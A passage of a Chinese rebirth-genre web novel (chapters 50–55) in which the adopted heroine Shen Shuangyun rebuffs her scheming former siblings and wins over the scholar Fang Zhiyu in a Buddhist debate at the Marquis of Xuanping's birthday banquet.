沈万里吩咐,脑海里开始幻想,被王爷女婿喊‘岳父’的得意。
届时,别说小小的奉宸苑了,就是统管内务府大总管,他都做得!
第50章 大哥哥有些可爱
沈万里畅想不已。
沈今安郁郁不乐,没好气的瞪着沈霜云。
沈霜云仿若未见。
沈婉音神情恍惚,自沈霜云说了选秀,可能会嫁个王爷国公后,她深受打击,整个人都蔫搭搭的。
要不是心里有日后沈家会发达,这个信念撑着,她可能都要哭出来了。
沈墨言一直关心她。
沈宁川眼珠乱跳,一时看三弟,一会瞧沈霜云,一副想入非非的模样。
能入宫选秀,镇国公府比他想象要重视霜云,那,嘿嘿,这桩婚事,也未必非要是三弟的嘛。
他也行啊。
沈家众人各怀鬼胎。
沈霜云漠然视之,用完午膳,拍拍屁股走了。
礼物,她也带走了。
哼。
破烂都给他们。
——
回到镇国公府,丫鬟万儿自然把沈府发生的一切,都禀报给了谢氏。
万儿……
外貌身量五大三粗,脑子很聪明,察言观色,八面玲珑,是丫鬟里的第一等,她的叙述,把沈府众人的原话,一句不差的重复出来。
甚至神态、动作都一模一样。
谢夫人气的脸都红了,“痴心妄想,他们算什么东西?”
“我才是霜云的母亲。”
“沈今安,那是个什么东西?商户人家出来下作东西,寡廉鲜耻,卑鄙龌龊,他连我们霜云的脚指甲都配不上!”
“王八羔子,一门王八。”
温柔淡雅的人,都没忍住骂了脏话。
万儿重重点头,深以为然。
谢夫人恼的饭都没吃下去,坐在窗前,骂了沈家人一下午,裴照野过来时都惊呆了。
他娘!!
那么温柔,那么体贴的人。
他活了八年,没从他娘嘴里听到一个不雅的字眼儿。
谁啊,这么厉害?她娘对着窗户,骂了两个时辰。
他太好奇了,抓耳挠腮的打听。
谢夫人蹙眉,气涌如山,未曾言语。
沈氏终归养育霜云,就算他家人口恶劣至极,也不该从她口中吐出恶言,照野是霜云的弟弟。
她要顾及孩子的脸面。
谢夫人把裴照野打发走了,晚间,沈霜云来请安时,她‘轻淡描写’的特意说:“霜云,你是咱们家的女孩儿,你的婚事,就算落选,也是我和你爹作主。”
“父母之命,媒妁之言,旁人说什么都不做准,要有人逼你,你推辞到我们身上就好。”
她怕沈霜云岁数小,性子柔,被养育恩情拿捏住,抵抗不得。
“母亲,我心里有数的。”
沈霜云半带轻笑。
谢夫人见她神色不带勉强,未有伤心之色,这才放心,留她用完晚膳,女管事突然来禀告府中事。
她蹙眉,从内寝拿出封信来,“这是你爹送来的,霜云,你帮娘跑回腿儿,给你大哥送过去吧。”
“好,母亲。”沈霜云柔声应声,转身离开。
她一路来到听涛轩。
彼时,天色已晚,圆月乍现,听涛轩挂上宫灯,照映出这一方冷硬天地。
墁地用地北境运来的青石,雨雪天泛出铁灰光泽,院中不设亭台水榭,唯有一株百年刺柏,斜出嶙峋枝干,树下石案上,搁着敞开的兵书与半冷酒。
裴寂之坐在案上,自斟自饮。
夜风卷着酒气漫过廊下,他素日束得整齐的墨发,被风吹的松散开,几缕碎发斜过微红的眼角。
衣襟不知何时扯开三寸,露出半截凌厉的锁骨,月光沿着深窝流淌,在阴影处,凝成一道诱人的暗河。
白玉酒杯抵在唇边,一浅清酒滑落,顺着下颌没入衣领,给他素来冷冽的眉眼,染上三分邪气。
眼波漠然间,似寒洒碎冰,广袖滑落,腕骨上淡青血管随酒意微微突起。
“沈霜云~”
他突地抬眸望过,嗓音浸了酒,染着几分沉吟,“你来做什么?”
沈霜云把信递到他面前,轻声说:“这是父亲的信,母亲让我送给你。”
裴寂之放下酒杯,撕开从信封,醉眼微薰扫过,随后,剑眉轻挑凝视她。
久久不语。
沈霜云攒眉,不明所以。
镇国公……
信里写了什么?
裴寂之反应好好奇怪。
她心里好奇,微微探身,想要去看。
裴寂之漠然,翻手把信扣住。
沈霜云蹙眉,不满抿唇。
裴寂之薄唇微扯,像是笑了笑,浓密睫毛轻颤,他突然问,“沈家那个事情,你怎么想?”
沈霜云一怔,反问道:“什么事?”
“你的婚事。”裴寂之捏着信,折了折,轻描淡写的道:“他们让你嫁回去。”
“你想吗?”
“当然不想。”沈霜云脱口而出,裴寂之眉眼微弯,像是隐约带出几分舒心。
沈霜云没注意,她的心神分散了。
她院里有裴寂之的间谍,或许,今日陪她回沈家的下人里,有他的心腹,否则,午间刚发生的事儿,他怎么会知道的那么清楚?
明明监视她的动向,偏偏还觉得她里通外敌。
过分。
沈霜云蹙眉,看着他隐带醉态的样子,又觉得稀奇。
裴寂之,永远那么冷冰冰,硬邦邦的样子,裴九卿说他是:自盘古开天地,世间第一块顽石。
“大哥忘了吗?四哥把我许给晋王世子了,我是要参加选秀的人,哪能私自婚配呢?”
“这就好,我的妹妹,宁肯烂到家里,也不能许配给他们。”裴寂之眼眸一晃,呢喃自语。
沈霜云没听清,“你说什么?”
“没什么。”裴寂之回神,摆了摆手,他道:“你的归宿,我自有打算。”
“下月去宣平候府,你尽量做的好些。”
三弟和四弟太执拗,劝之不听,沈霜云也是倔的,不愿退让,水火不相融。
裴寂之只能把他们分开。
母亲很喜欢她,宣平候性格宽厚,谢家子弟也是京中数一数二的人才,要是能嫁进去,沈霜云下半辈子,也就安稳了。
“你去库房,就说奉我的命,挑些好东西,权做祝贺。”
“大方点,别又送一堆破烂……”
沈霜云满头雾水,不明所以的,被裴寂之押着,挑了好几件和田暖玉的摆件,一路捧回降云阁。
她呆坐半晌,失笑道:“真是醉了。”
“头回遇见,没想到那么冷漠的人,一旦醉酒,竟然像照野……”
有些可爱呢。
第51章 沈宁川会飞黄腾达吗?
时间飞快流逝,转眼,到了宣平候生辰那日。
镇国公府一门,包括裴临渊和裴寒声,都收拾整齐,文质彬彬,簇拥谢夫人出门。
谢夫人真诚善良,待几个继子温和,裴家兄弟对她也很尊敬,裴临渊和裴寒声都没找霜云的麻烦。
裴照野拉着沈霜云,坐上马车。
他叉腿坐下,把小脚脚翘起来,无聊地晃着坠在鞋头的红绒毛,瘪瘪着嘴,委屈巴巴的抱怨,“大姐姐,我娘好过分哦,你看她把我打扮的!”
“说什么祝贺外祖父生日,要穿得喜庆,那也不能把我弄得像个‘红包套’一样吧。”
“红衣服,红裤子,红外袍,红束发,鞋儿坠着红球……”
“我告诉你哦。”他把圆粉粉的脸儿凑过来,小唇撅着,神神秘秘地哼唧,“你不要告诉别人!”
“我肚兜都是红哒。”
“红绸缎上绣红鲤鱼,配粉荷花,这要是让盈盈知道了,她非笑话死我不可!”
“呃~”沈霜云着他一副‘少年愁滋味’的模样,憋笑小声。
她安慰,“没事的,五弟弟,你的肚兜穿在里面,盈盈不会看见的。”
“那谁知道了?闹起来,她会管里头外头?小时候,裤衩都被她扒过。”裴照野是真把沈霜云当自己人了,毫不客气,大大方方地把窘事摆出来。
“盈盈好凶啊,她个又高,力气也大,我小时候都斗不过她的。”
这个年纪的小男孩,惯来长不过姑娘家。
沈霜云知道。
她眉眼弯着,捏了捏裴照野鞋上的小红鞋,看着他喜喜庆庆,脸颊都带着团胭脂的模样,心情愉悦。
她道:“没事,有大姐姐在呢,大姐姐会保护你的,嗯……”
肚兜?
呃,贞操?
“……总之会保护的。”
“哎,算了,我是男子汉大丈夫,红包套就红包套嘛,我这样可爱,帅气,英俊,聪明,就算是红包套,也是最好看,最有效果的红包套。”
裴照野把小脑袋一甩,扎着红穗子的丸子头,一跳一跳地,他说:“大姐姐,今年是我外祖父六十整宴,请了很多人的。”
“你过去之后,就全程跟着我,我把表哥表姐介绍给你,他们人都很好相处的。”
“尤其是外祖父的知交好久,方喻知,方老先生,他可有学问了,教出了三任宰相,两任首辅,太子殿下没遇难前,一直是他教的。”
“他那人特别有意思,我娘说他是老顽童,他师弟还是二哥的老师呢。”
“方老先生特别喜欢我。”
裴照野高高抬着小下巴,骄傲地道:“大姐姐,到时候,我把方老先生介绍给你,他要是喜欢你,在他师弟面前说说话。”
“他师弟肯定会影响二哥的。”
“二哥就会懂你的好啦。”
沈霜云笑容柔软,“好啊,那今天,大姐姐就跟着照野走了,我一边保护你,一边听你的话。”
“你让我做什么,我就做什么。”
“嘻嘻。”
‘小英雄’的待遇,让裴照野一下子得意了,笑得眼睛都弯成缝儿,他把小脑袋靠要沈霜云身上,粉粉小脸儿踏着她的脖子,“大姐姐,方老先生很有名的,桃李满天下。”
“你应该听说过他吧?”
沈霜云垂眸,笑容收敛,“当然了。”
不止听说过,她还几次三番跟方大儒打过交道。
沈宁川,是方大儒的关门弟子,前世,也是宣平候的寿宴,她用一本心经,一段巧思,替泞宁川‘赢’来了一位名满大楚,桃李天下的先生。
方大儒是个童心未泯,弄鬼掉猴,沈宁川拜师后,找不到跟他相处融洽的方式,始终不得他的看重,是沈霜云殚精竭虑的观察,绞尽脑汁思索。
一点一点地教他,终于,沈宁川成了方大儒最疼爱的关门弟子。
方大儒把毕生学问,倾心教他,荐他进国子监,替他猜考题,拜同期,沈宁川入朝为官,也是多亏同门师兄的提携。
短短五年,官至三品。
方大儒亲口对沈霜云说:“你二哥有天分,天资聪明,是个念书做官的材料,但老夫不爱他的人品,太利己,太自私,太精明,急功近利,寡廉鲜耻。”
“要是不能克制自己,改变性情,他能做天下最大的官,也能成了大楚史上,第一个被抄九族的人。”
“按老夫的脾气,这样的人,我连眼角都不夹他一下,我……”
“只是可怜你。”
“愿赌服输。”
“霜云啊,你是个心眼太实,太真的孩子,你盼着有人能暖暖你,看看你,就入了痴障。”
“不可信啊,不可信。”
“老夫的小朋友,你赢了老夫一回,琢磨了老夫那么久,把这副古怪性子,这副老肚肠看得通透,老夫念你的好,他日,你落了难,来找老夫啊。”
“老夫徒有几分薄名,总能护你一护地。”
说这些话的时候,方大儒的眼神温和,所以,沈霜云觉得,这位名满天下的学者,与其说是沈宁川的先生,却不如说,是她的忘年交。
前世,她猪油蒙心,渴望一群没心的人,给她亲情,今生,她觉悟了。
她到要看看,没了她这个‘媒介’,沈宁川是否像他自己说的那样,“我颖悟绝伦,足智多谋,神机妙算,孔孟之才。”
“霜云,你就是有点小聪明,给我做了个敲门砖而已,没有你,先生照样会相中我,甚至有可能三顾茅庐,求我做他徒弟。”
“伯乐长有,千里马难寻,教出我这么旷古烁今的弟子,先生也能随我,名流千古,霜云,都怪你,让世间少了一个,太公钓鱼,茅庐三顾典故。”
“这是大楚朝之不幸,方先生之遗憾啊。”
沈宁川官拜三口后,得意忘形地怪罪沈霜云。
今生,沈霜云自然不会多事了,却不知沈宁川这个‘茅楼’,方大儒愿不愿意去‘顾’一下。
她冷笑,跟着谢夫人和裴照野,进了宣平候府。
谢夫人的嫂子,亲自来迎他们。
——
后街角门,小管事眼眼不抬地,带着沈家三兄弟和沈婉音,走进宣平候府,领到正堂,随意指了个小厮,吩咐一句,“带他们入席吧。”
随后,转身离开。
沈家三兄弟脸色阴沉。
沈婉音却兴奋不已,“二哥,二哥,我们进宣平候府了,我们进来了,你,你……”
你要飞黄腾达了。
第52章 大哥在教导你,你听不见吗?
宣平候和沈府,一个候门贵地,一个商户人家,没有任何交际,他家请宴,沈家人自然没打算前往。
宣平候又不管内务府,沈万里奉承谁,都不会想奉承他。
偏偏,沈婉音不愿,宣平候寿宴的前几天,她罕见地从要出嫁,准备嫁妆的繁复事务里挣扎出来,缠着沈万里,上窜下跳。
“我们得去宣平候啊!”
“我们一定要去。”
“尤其是二哥,他必须去……”
宣平候府有他的师父,那是能让他平步青云,带他入国子监,考状元,做大官的阶梯,她还等着出嫁时,二哥请动方大儒,亲自给她送嫁,还有方大儒的那些弟子……
如今的内阁首辅,是他大徒弟呢。
有这些人送嫁,哪怕她入府的名分是侍妾,那也是妾里面的第一等,晋王府没人敢看不起她。
当然要去。
必须得去。
沈婉音撒娇卖痴,乞哀告怜,撒泼打滚,最终,沈万里无可奈何,四处求人,讨来了几张请帖。
沈家三子带着沈婉音来了。
“大哥,二哥,三哥,我刚刚看见沈霜云了,她跟裴世子在一块儿。”
“咱们过去找她吧。”
前世,二哥被方大儒慧眼识英时,沈霜云在他身边,沈婉音没详细了解过,想来,那贱人也就是个旁观者。
哼!
好气哦,二哥哥最重要的时刻,居然让她沾光欣赏到了。
而今生,想到带二哥哥找到方大儒,还是得往那贱人跟前凑,没办法,谁让她不认识方大儒呢。
方大儒也是不好,都不晓得自己来找二哥哥,二哥哥那么厉害,那么有才华,收到他这种天才做弟子,是师父一辈子的幸运了。
伯乐易有,千里马难寻啊。
沈家三兄弟,尤其是沈今安,本来不想去找沈霜云的,“她一个庶女,生母又是罪妾,人家大婆老爹的生辰,她偏偏上赶子凑过来,太没颜面了。”
“找她干什么?”
“到显得咱们也廉价。”
沈婉音不满嘟唇。
她也不想去,那不是没办法吧。
沈宁川见她不高兴,宠溺地点了点她的小鼻尖,“好了好了,是想找霜云玩对吧,那就去吧,你快出嫁了,霜云也该以你为重,哄你开心的。”
“也对。”沈今安深以为然。
几人商量定了,离开花园角落,四处张望,发现沈霜云已经跟着谢夫人他们,进了园内小楼。
“咱们走。”
守楼的仆人犹豫几番,终归没好拉着客人,让他们大摇大摆的进去了。
——
宣平候府。
濑玉楼内灯火通明,十二盏金丝灯笼高挂,照得厅堂亮如白尽昼。
云母屏风上的山水画在灯光下闪闪发亮,地上铺着深蓝色的玉石砖,倒映晃动的烛火。
今日的寿星翁——宣平候懒洋洋地靠在主位的雕花木榻里,一身金黑相间的化服。他手指轻敲着白玉酒杯,目光扫过满屋宾客,突地笑道:“我说,姓方的,你别在戳那鲥鱼,在戳就烂了。”
“知道你喜欢鲥鱼,我亲手给你做的,你总戳它干什么?”
“干什么?你说我干什么?谢广安,你把好好的鲥鱼做得这么难吃,你还不让我戳它?”方知喻举着筷子,恨不铁不成钢地指着宣平候。
“谁家好人清蒸鲥鱼的时候放糖,你还放了红糖,你看看这鱼,浑身通红,喜庆的好像过生辰的是它一样。”
“我不戳?我吃,我快得消渴症。”
老头儿翻着白眼,胡子都翘起来。
宣平候撇嘴,看着方知瑜桌上有一盘他亲手做的清蒸,呃,红蒸鲥鱼,多少有点心虚,“吃都堵不上你的嘴。”
“好吃的还成,这么难吃的啊,哼哼。”
方知喻接着戳。
楼内客人们都憋笑,显然是习惯了这种场面。
沈霜云坐在下首,眉眼舒展。
她身边……
裴照野也在戳鲣鱼。
宣平候喜好调和之术,尤其爱做鱼,经常亲自下厨,给妻儿做菜,偏偏,天生的手艺差,再好的食材被他处理过,都跟下了毒一样。
平日,家里人都不吃。
今天是他生辰,自然是寿星公最大,他天刚亮就进厨房,把自认拿手的好菜系都做出来。
亲外孙子裴照野,当然不例外。
吃得他生无可恋,丸子都榻了。
沈霜云身为庶外孙女,也分着了四道,她吃了一口,觉得牙酸掉半口,如今,真是很同情裴照野。
他桌上有十二道菜,全是宣平候做的。
“好了,照野,别吃了,你吃我这些。”她小声说。
把菜挪过去。
裴照野眼前一亮,迫不及待的想伸筷子,谁这会儿,沈家几人刚好上前。
沈墨言听到她说的话,眉头一拧,低声斥道:“霜云,你说什么胡话?是要教五公子不孝顺吗?”
“宣平侯爷亲手做的菜,那是对晚辈的体贴,对你的恩赐,你该恭恭敬敬地用完,哪有这样嫌弃的?”
“爹娘是这么教你的,你有家教吗?”
沈霜云蹙眉。
裴照野抬头,翻了个大大的白眼。
沈家几人跪坐到沈霜云身侧。
沈婉音双眼发亮,迫不及待扫视全场,寻找方知喻。
她知道,前世二哥就是在濑玉楼里展露才华,被方大儒相中的。
沈墨言严肃,不满低声,“霜云,大哥是在教导你,你听不见吗?”
“听见了。”
沈霜云轻笑,眸里染出不耐。
自从入了镇国公府的祖谱,律法上不归沈万里管之后,她对沈家人,越来越没耐心了。
她也不意外,沈家人会出现。
沈婉音在呢,总会挖门盗洞的。
“听见了,还敢不回应,你真是越来越不像话了。”沈墨言沉声,“这样吧,我定一下,一会宴后,你把婉音带到宣平候跟前,替她介绍一番。”
“婉音也是国公府血脉,你有的,她都该有。”
“况且,她要嫁进王府了,更需要好亲戚,好人脉,她比你孝顺懂事千百倍,定然能讨得宣平候的喜欢。”
“快,霜云,别傻着了,赶紧坐起前……”
他上前,去拽沈霜云的袖子。
沈霜云抬眉,刚要甩袖,那边,裴照野抄起盘子,抓了把菜,直接塞进沈墨言嘴里,没好气地道:“你孝顺,你吃!!”
第53章 你算什么东西?敢自称我姐姐
裴照野抄起的菜,是盘粉蒸肉,外表看着很正常,但那个味道……
简直称得上是灾难。
好好的猪肉,不知道宣平候怎么处理的,显出股腐臭之气,混着肉腥直冲脑门,像闷馊的抹布里,裹着死老鼠,本该松软的米粉,结成了发酸的渣块。
裴照野吃了一口,胃里就翻涌了。
如今,这盘东西,被他结结实实,全塞进了沈墨言嘴里。
“你吃,你吃,你孝顺,你懂礼仪,你都吃进去!”
“,小爷的姐姐怎么样?我娘,我外公都没说一句话,轮到在这里放屁了?我们镇国公府的千金小姐,天生就是享福的,不用对任何人卑躬屈膝,那是你这种人才需要干的。”
“你教训,你定一下?”
“你算老几啊,你定一下?”
裴照野油呼呼的手,一个劲儿往里塞。
沈墨言都顾不上生气了,满嘴腐肉混铁锈的恶心味道,冲得他直往上翻白眼,胃部剧烈抽搐,他都想要吐血了。
“哎,这,这是干什么?快住手。”
沈今安急声。
沈宁川侧身掩面。
上首,宣平候等人也注意到了这边的动作,但……
没有人问。
毕竟,他的手艺,亲近的人都清楚,满宴谁都不敢碰,偶尔有一、两个‘新瓜儿’,无意吃两口。
吐,是正常的。
呕,也可以理解。
问了,即扫主家面子,也给客人没脸。
不动、不听、不看、不问,是最好的。
沈墨言扒着桌子,呕的脸像紫茄子一样,青筋都暴出来了,只是,他本身没吃多少东西,硬塞的肉堵了满嘴,也没咽下去,呕也就干呕。
吐点酸水罢了。
“照野,别什么脏东西都往手里抓啊。”
沈霜云蹙眉,心疼地掏出手帕,细细替五弟擦好手,她略有犹豫,把帕子扔到骨碟里。
手帕是她经心绣的,扔了真可惜。
但沾上粉蒸肉的汁儿,的确不能要了。
“你闻闻你那手,乱抓洗得干净吗?”
“呃……”裴照野塞得起劲儿,准备再接再厉,塞沈婉音一嘴呢。
他一个男子汉小爷们,不打女子,塞点‘毒药’却是行了。
然而,沈霜云的话一入耳,他的动作犹豫了,小心翼翼抬起手来,凑到鼻子轻轻一闻。
“呕!!”
“这手我不要了!!”
裴照野眼前发黑。
沈婉音看了眼方大儒,柳眉轻蹙地侧身,“大哥,五弟,你们这是做什么?别闹了。”
“五弟懂点事,我大哥也是为了你们好,他没有恶意的,你何必针对?”
“是不是有谁误导了你,你年纪小,不懂人心险恶,也不明白有些人,品性能有多坏。”
她目光打量沈霜云,话里有话。
找到方大儒,二哥眼飞黄腾达,沈婉音的得意,又飞扬起来。
“闭上你的狗嘴吧,谁是你五弟?没有镜子,你总有尿吧,撒地上看看你自己,你配叫我五弟吗?少恶心我了!”
裴照野尽量把手伸伸得远远的,没好气地骂她,“这里品性最坏的,不就是你们几个吧?”
“真是的,外祖父邀请宾客,怎么也不挑挑啊,什么脏的臭的都往府里拉,比他做的菜都恶心!”
“滚一边去。”
沈婉音死死咬着下唇,眼泪快要被骂出来了。
她又懵懂,又惊愕,指节握得发白,指甲掐掌心,委屈、难过、气愤、恨意充斥胸膛,她眼里像淬了毒。
都是裴家女儿,都是裴照野的亲姐姐,他凭什么就喜欢沈霜云。
前世今生,不管她如何讨好,这个野杂种都不露好脸儿。
太过分了。
怪不得他会被五马分尸。
野杂种,天生夭折的命。
她狠狠扭头。
那边,宣平候府的丫鬟们,见沈墨言吐完了,十分从容,万分熟悉地上前,把满地狼狈——包括,但不限于,裴照野打翻的菜,沈墨言吐出的酸水……
等等‘杂物’,全都收拾干净。
她们用银盆打来清水,服侍裴照野和沈墨言净手净面,在把覆过菜汁和胃液的地方,喷上香露。
唉,自家候爷太爱分享‘美食’。
这套流程,她们真的很熟了。
——
小楼内,令人作‘呕’的膳食撤下去了。
方知喻把那条鲥鱼戳得稀烂,但一口没吃。
宣平候十分不甘心,想继续推荐自己做的果子露。
方知喻深知那有多难喝,赶紧岔开话题打断他,“谢广安,我近来钻研佛法,颇有所得,今日良辰美景,不如咱们论论佛礼怎么样?”
宣平候抚须,注意力被引走。
他自幼信佛,又爱清谈。
讨论佛法和做菜并列他的最爱。
“行啊,方老头儿,你说说,我听听,你所得为何?”
方知喻嘿笑,像是十分得意。
阶下,沈婉音瞪圆眼睛,呼吸急促,拽住沈宁川,“二哥,你注意,你要注意了!”
前世,二哥哥就在佛法讨论时,惊艳全场,驳倒了方大儒,才被收入门墙的。
“注意什么?”
沈宁川被拽得生疼,拧眉莫名其妙。
“二哥,那位方大儒,可是名扬大楚的学者,你要是答好他的问,受他赏识,什么科举,什么状元,就是探囊取物般简单。”
“他的大徒弟是内阁首辅。”
沈婉音尖叫。
沈宁川一怔,片刻,两眼发光看向方知喻。
他……
天纵奇才,幼时多少先生,都说他是天生的状元种子,为了读书而生,十二岁中秀才,十六岁中举人,前年考进士时。
不幸落榜。
大楚科举,还是太黑暗了,商户出身,终归低贱些。
沈宁川心里明白,他需要一个靠山,也曾想着拜名师,苦于没有门路,还是霜云回镇国公府,婉音嫁入王府,才让他觉得有了希望。
他心里想,要么,让霜云去求裴九卿。
这位的师父,许钟闻,就是名满天下的学者,裴九卿是他的大弟子,大楚第一个三元及第。
又或者,婉音嫁进晋王府受宠后,托世子给他找门路。
但如今……
方知喻也可以啊。
许钟闻名下最出名的弟子,就是裴九卿,方知喻膝下,却是桃李满天,甚至,已逝的太子都是他的弟子……
第54章 何人是我的靠山?
沈宁川两眼发光的看着方知喻。
就像看一盘肥肉。
沈墨言捏着下巴,高傲地打量着那瘦瘦小小的老头儿。
相比于文之一道,他更喜武,对国内的大儒名师不大了解,瞧不出这戳鱼老头有甚突出的地方。
不过,既然是婉音推荐,肯定是好的。
她那么聪明懂事,体贴家人。
“二哥,你上,拿下他,震住他。”
沈今安狂傲放话。
沈宁川跃跃欲试。
沈霜云不动声色,嘴角勾出抹冷笑。
裴照野根本没听见,专注地盯着前头热闹。
席间,宣平候催促,“方老头,别卖关子,你说说,你到底想论哪一段佛理?”
方知喻晃着胡子,十分得意,“你既然诚心诚意地问,那我就大发慈悲地告诉你……”
“我面前一尊佛,心中一尊佛,诸位说说,我是跪,还是不跪?”
他之一问,一时间,席间顿时安静,方才还谈笑风生的宾客们,一个个皱起眉头。
宣平候手里端着的,本想推给方知喻的果子露都悬在半空,竟无人敢轻易作答。
“二哥,你去吧,快,你来答啊。”沈婉音万分急迫,“方老是信佛的,面佛哪有不跪的道理?”
“你先了,显得虔诚。”
沈宁川沉吟。
就在思考间,席内一位李家公子,最先按捺不住,试探着说:“自然是要跪拜。佛门讲究恭敬,见佛像哪有不跪之理?”
方知喻抚须,笑而不语。
宣平候拧眉。
席间另有一公子,闻言连声反驳,“不对不对,跪了面前佛,不是委屈了胸前佛吗?”
“依我看不必跪,佛在心中,何须执着外相?”
“不跪,就是委屈了面前佛啊?”
李公子瞪眼。
方知喻见状,拍掌大笑,“有趣,有趣,你们一个要跪,一个不跪,何不先辩上一辩?”
“金刚经云,‘凡有所相,皆是虚妄’,跪拜泥塑木雕,不是着相?”
宣平候身边,一位谢家子摇头。
李公子涨红了脸,立刻反驳,“照你这么说,寺庙里的和尚日日跪拜,都是错的?”
“这……”
二人语塞,面面相觑。
宣平候彻底忘了果子露,陷入深思,席间其余宾客,有人欲言又止,有人摇头晃脑,却都说不出个所以然来。
一时无声。
沈婉音见状,也不好怂恿,便拼命地推沈宁川,让他说话。
沈宁川心里有了几分答案,可不晓得为什么,总觉不够好,冥冥之中,不知道哪里来的预感。
他觉得,这个场景,他好像经历过。
而且……
应该有人帮他,告诉了他最完美的解答,让他惊艳全场。
他想细思,可来不及了,方知喻已经开口,想要说话,沈宁川咬牙,猛然起身,朗声道:“方先生此问大妙,依晚生之见,佛本无相,以众生心为相,跪是礼佛,不跪亦是礼佛。”
“譬如月映千江,千江月各不同,然,皆是一月所映……”
他滔滔不绝,引经据典,辞藻华丽,然而,方知喻却撇撇嘴,把眉头拧起来,甚至打了个哈欠。
沈宁川心里一悸。
顿觉不妙。
沈霜云在思索。
她妙目垂下,凝视裴照野的丸子头,心里想着,要不要把这个出风头的机会给他……
方知喻是宣平候的好友,照野是宣平候的外孙,只要得了她的答案,都不用像她前世,绞尽脑汁,替沈宁川谋划讨好,耗尽心血算计,才终于如愿。
方知喻大概率会当场收下照野。
但,她要让吗?
她让得太多了。
照野是个好孩子,沈家那些豺狼,全然不配跟他比,但,重生一世。
沈霜云若有所悟。
爹有娘有,天有地有,都不如自己有。
两世为人,她单枪匹马走到如今,任何人都不是她的靠山,苦她吃了,委屈她咽了,伤痕累累走到现在,为何还要替别人做嫁衣?
“方老此言,霜云斗胆一答。”
她清越出声。
众宾客循声望去,就见方案里,一位身着华服,容貌清丽的姑娘轻笑,不疾不缓地道:“面前有佛,心中有佛,跪与不跪,皆为执着。”
方知喻眼前一亮,“哦,此话怎讲?”
沈霜云微微一笑,“执着于跪,便是着相,执着不跪,亦为着相。”
“佛本无相,跪或不跪,佛皆不在意,真正在意的,是人心中那尊佛。”
“正如苏学士自谓‘八风吹不动’,却被佛印禅师一纸‘放屁’,激得渡江理论,可见委屈的,也只是‘心中佛’而已。”
席间顿时一片哗然。
‘一屁打过江’的典故,说的是苏东坡自诩修行有成,作了首赞颂佛的诗偈:
稽首天中天,毫光照大千,八风吹不动,端坐紫金莲。
他得此佳作,很是得意,就把此诗送给了江对岸的佛印禅师。
佛印哈哈大笑,提笔在诗后写了‘放屁,放屁’,四字评语。
苏东坡怒而过江,前来理论,质问佛印因何做此评语,言称自己‘心性虔诚,维护佛法’。
佛印禅师从容笑答,“八风吹不动,一屁过江来。”
以此来言,苏东坡所谓‘虔诚通达’,端坐金莲,并非真正超脱。
就如方知喻的提问。
“哈哈哈,老夫记得你,你是老谢的外孙女对吧。”方知喻捋须大笑,眼中闪烁着兴奋的光芒,“依你之见,何为超脱,面前佛、眼前佛、心中佛,又当如何?”
“老夫之题,要如何解?”
沈霜云莞尔一笑,她目光清澈,轻声道:“心中佛,便是己身佛,方老有此问,可见心中有一尊‘方知喻佛’,跪或不跪,觉得委屈的,也只有己身佛。”
此言一出,满座皆惊。
这话分明说的是方知喻有执念未破。
宣平候的眼睛,也惊疑落在沈霜云和方知喻身上,这个外八路的庶外孙女,倒是好辩才。
于佛法上,也有几分建树。
很有慧根嘛。
深信佛法的他,心里产生了兴奋的情绪,蠢蠢欲动的,他想把果子露送给外八路的孩子喝了。
沈霜云:……
莫名其妙,浑身突然打了个哆嗦。
心凉了。
第55章 怎么感觉不对呢?
宣平候用欣赏的眼光,看着这个突然冒出的外孙女,心里喜悦着,得了个‘小知己’。
又能跟他讨论佛法,又能吃他的菜。
太好了。
方知喻却是怔了怔,思量片刻,突然哈哈大笑。
他笑得前仰后合,连眼泪都笑出来了。
“好,好个伶牙俐齿的丫头,我老头子活了大半辈子,第一回被个小姑娘问住。”他抹了抹笑出的泪,忽然正色问她,“那你说说,如何才能心中无佛?”
沈霜云从容,微微颔首,“霜云不敢妄想,但知佛法如筏,渡河须舍。执着于‘无佛’,也是另一种执念。”
前世,为了让沈宁川讨方知喻的喜欢,沈霜云竭尽全力,了解方知喻。
她在识人喜好上,很有天分。
楚清晏那样的变态,她都能钻研出来,方知喻同样不在话下。
那是个老顽童,脾气看着和蔼,实则争强好胜,最爱跟人清谈,宣平候是他多年好友,擅长佛法,他便也倾心钻研,誓要压人一头。
他爱争斗,爱辩驳。
幸而心胸宽阔,不拘输赢,能辩得过他的,他反而会更加欣赏。
沈霜云刚刚那番言论,与其说是佛法精妙,不如说是辩才无敌。
两边说话,两边堵。
方知喻辩不过她,才觉有趣。
前世,她用的也是这套话术,只是,全数教给了沈宁川,让他出尽风头罢了。
“好丫头,有趣,真是有趣,老头我最爱聪明人,更爱口才好的聪明人。”方知喻笑得开怀,眼角都眯出纹来了,他招手,“来,小姑娘,过来陪咱们喝一杯。”
宣平候也笑眯眯的,没有阻止,反而道:“照野也一块来,放心,外祖父不逼你吃菜。”
沈霜云清楚,方知喻接受她了。
她起身想上前,突地感觉到衣角被人拽住,垂眸一看。
沈宁川正扯着她。
沈霜云攒眉,似笑非笑,“二公子,你这是何意?”
沈宁川眼球充满血丝,咬牙低声,“霜云,你一个女孩子,讨了方大儒的欢心又如何?你又不能科举。”
“女子最重要的,是有个好娘家,好婚事,你乖,听话,把二哥带过去,介绍给方大儒和宣平候,日后二哥飞黄腾达,不会忘了你的好处。”
“你嫁人后受欺负,二哥会帮你。”
霜云重视他们这些哥哥,把他们当成性命看待,大哥和三弟颐指气使,她都放不下。
更何况,他如今温言软语。
霜云必然会把机会让出来。
沈宁川赌定,然而,心里隐隐有些不舒服,总觉得这个发展不对。
应该是霜云低三下四,千求万乞来辅助他,而不是,不是……
他来服软啊。
沈宁川心中不悦,想着等方大儒慧眼识他后,定然要找回场子,把今日丢的脸,全从沈霜云身上讨回来。
然而……
沈霜云冷然一笑,眼里透出一抹似是怜悯,似是讽刺的,居高临下的光。
她抬起纤纤十指,缓慢而坚定地,把沈宁川的手抚开。
“五弟,外祖父又叫咱们了。”
“咱们上前去吧。”
她轻声,主动挽住裴照野。
“好的呀。”
裴照野笑眯眯,抬腿踩了沈宁川一脚。
姐弟俩手拉手离开,沈霜云眼角都没撇沈家三兄弟一下。
她心里豁然开朗。
前世今生,终归不同了,她为自己筹谋,心力都用在让自己更好上。
在不用替沈氏奔波。
沈宁川吃痛,眼睁睁看着大妹妹像甩掉烫手火炭般,飘然离开,越走越远。
他心里,突然生出股惶恐。
大,大妹妹,真的离不开他们吗?
非他们不可吗?
怎么感觉,好像有什么东西脱离了他的掌握,心中失去一块,隐隐空落落的感觉,让他相当不适。
怎么回事?
